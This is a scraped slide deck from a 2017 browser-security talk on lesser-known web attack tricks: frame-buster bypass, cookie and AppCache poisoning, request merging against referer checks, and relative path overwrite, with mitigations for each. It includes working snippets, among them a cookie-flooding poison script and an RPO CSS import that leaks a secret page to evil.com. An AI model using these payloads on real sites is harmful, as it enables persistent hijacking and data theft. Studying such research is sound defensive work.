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Exploiting the unexploitable with lesser known ...

Exploiting the unexploitable with lesser known browser tricks

filedescriptor

May 11, 2017
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  1. How is a cat the speaker? • @filedescriptor • Pentester

    for Cure53 • ❤Browser & Web Security • #1 at Twitter " Bounty Program ??
  2. X-Frame-Options Value Should I use it? Why ALLOWALL Nope As

    its name suggests ALLOW-FROM uri Nope Not work on Webkit/Blink DENY Yup Not framable at all SAMEORIGIN Yup? Not framable by other sites
  3. What does that mean? • Sites that frame untrusted pages

    are still vulnerable • but… • who is stupid enough to allow untrusted frames?
  4. <script> var twttr = twttr || {}; if (self !=

    top) { document.documentElement.style.display = 'none'; } </script> but, anti-frame-buster <iframe src="https://twitter.com/oauth/authorize" sandbox="allow-forms"></iframe> In addition to XFO there’s frame-buster
  5. XFO: sameorigin considered harmful • For researchers: • Don’t give

    up when you see XFO: sameorigin • Look for places where untrusted frames are allowed • For site owners: • Use Content-Security-Policy: frame-ancestors
 (except IE) • Don’t allow untrusted frames
  6. Cookie '+ Appcache = ? 1. Set many cookies on

    root path 2. Requests to every file will result in HTTP 413 3. Appcache’s fallback kicks in and replaces the response 4. ??? 5. Profit!
  7. Attack in action CACHE MANIFEST # Permanently cache the manifest

    file itself manifest.txt # Route all traffic to poison.html FALLBACK: / poison.html <html manifest="manifest.txt"> <script> for(var i = 1e2; i--) document.cookie = i + '=' + Array(4e3).join(0) + '; path=/'; </script> </html> attack.html manifest.txt
  8. Impact • Requests/responses will be persistently hijacked • The only

    way to get rid of it is users manually clear cookies/appcache
  9. How to “patch” it • Put your sandboxed domains onto

    Public Suffix List • domains on the list cannot have cookies • Avoid directly serving HTML files • Optimally, serve user generated contents on different subdomains instead of directories
  10. Real world scenario • Assuming appA.com wants to share authenticated

    user info to its partners • It uses JSONP to transfer the data • It checks if the importing website is its partners by validating referer
  11. <img src="cat.png"> <img src="cat.png"> <img src="cat.png"> <img src="cat.png"> <img src="cat.png">

    <img src="cat.png"> <img src="cat.png"> <img src="cat.png"> <img src="cat.png"> } GET cat.png HTTP/1.1
  12. <img src="cat.png?1"> <img src="cat.png?2"> <img src="cat.png?3"> <img src="cat.png?4"> <img src="cat.png?5">

    <img src="cat.png?6"> <img src="cat.png?7"> <img src="cat.png?8"> <img src="cat.png?9"> GET cat.png?1 HTTP/1.1 GET cat.png?2 HTTP/1.1 GET cat.png?3 HTTP/1.1 GET cat.png?4 HTTP/1.1 GET cat.png?5 HTTP/1.1 GET cat.png?6 HTTP/1.1 GET cat.png?7 HTTP/1.1 GET cat.png?8 HTTP/1.1 GET cat.png?9 HTTP/1.1
  13. Request merging • If multiple same simple requests are issued

    at the simultaneously, they will be merged into one (Chrome, Safari & IE) • Same being same URL and same initiator • Simple being GET requests and simple initiators (script, style, image, …) • Simultaneously being if there is an unfinished same request
  14. URL Initiator Same unfinished requests will be merged New request

    if no unfinished requests <script src="jquery.js" defer></script> <script src="jquery.js" defer></script> <!-- delay 2 seconds --> <script src="jquery.js" defer></script>
  15. Headers are not considered • Requests are merged even if

    they have different request headers • If siteA and siteB imports the same script in the same tab simultaneously, they share the first issued request
  16. Referer validation is fragile • There were and will be

    tons of ways to forge referer • Always assume referer is not a reliable source 
 (I’m (ing at you Twitter) • User CORS for cross-origin requests
  17. Quirks mode ignores CSS errors <html> <head> <link href="main.css" rel="stylesheet">

    </head> <body> {}*{background:red} </body> </html> bar.php
  18. Things you can do • XSS via expression/scriptlet on IE

    (requires old versions/compat mode) • Leak current URL via Referer • Steal secret contents
  19. You can’t steal secrets if there’s no secrets <html> <head>

    <link href="main.css" rel="stylesheet"> </head> <body> {}*{background:red} </body> </html>
  20. RPO Gadget • Not ROP Gadget • The “stylesheet” itself

    does not contain secrets • But you can import another “stylesheet” that contains secrets • It’s like using the “stylesheets” as gadgets
  21. <html> <head> <link href="main.css" rel="stylesheet"> </head> <body> {}@import'../admin.php' </body> </html>

    bar.php <html> <head> </head> <body> {}@import"//evil.com/? <p>secret<span class="lock"></span></p> </body> </html> admin.php http://evil.com/?<p>secret…
  22. IE doesn’t know how to decode URL in redirect HTTP/1.1

    302 Found Location: http://example.com/foo/bar.jsp;/.%2e/.%2e/1337 GET /foo/bar.jsp;/.%2e/.%2e/1337 HTTP/1.1 http://example.com/1337
  23. How to tell if a site is vulnerable? • If

    there is a web page in which • it returns the same response even if appended
 ;/.%2e/.%2e • There’s a scripts imported with relative path • There’s a path-based open redirect
  24. Moral of the story • Relative paths are dangerous •

    There are even more similar quirks waiting to be discovered • You should configure the server such that paths with trailing junks are considered separate routes
  25. Recap • XFO: sameorigin • Sandboxed domain cookies • Referer

    based protection • Relative path & lax server configuration